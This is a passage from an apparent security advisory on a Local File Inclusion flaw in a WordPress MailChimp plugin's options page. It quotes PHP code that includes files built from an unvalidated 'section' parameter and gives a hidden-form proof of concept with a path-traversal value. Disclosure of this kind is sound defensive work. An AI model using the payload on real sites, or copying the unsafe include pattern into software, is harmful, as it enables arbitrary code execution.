vulnerable to Local File Inclusion. This issue can potentially be
exploited to run arbitrary PHP code. In order to do so, the attacker
must be able to place an arbitrary PHP file on the target system. The

The issue exists in the file /admin/partials/menu/options.php and is caused by the lack of input validation on the section request parameter. The vulnerable code is listed below.

<?php if( !isset( $_REQUEST['section'] ) || $_REQUEST['section'] == '' ) {
include YIKES_MC_PATH . 'admin/partials/menu/options-sections/general-settings.php';
} else {
if( isset( $_REQUEST['addon'] ) && $_REQUEST['addon'] == 'true' ) {
include apply_filters( 'yikes-mailchimp-'.$_REQUEST['section'].'-options-path' , '' );
} else {
include YIKES_MC_PATH . 'admin/partials/menu/options-sections/' . $_REQUEST['section'] . '.php';
}
}
?>

Proof of concept

<input type="hidden" name="section" value="../../edit-form" />
<input type="submit" value="Submit request" />
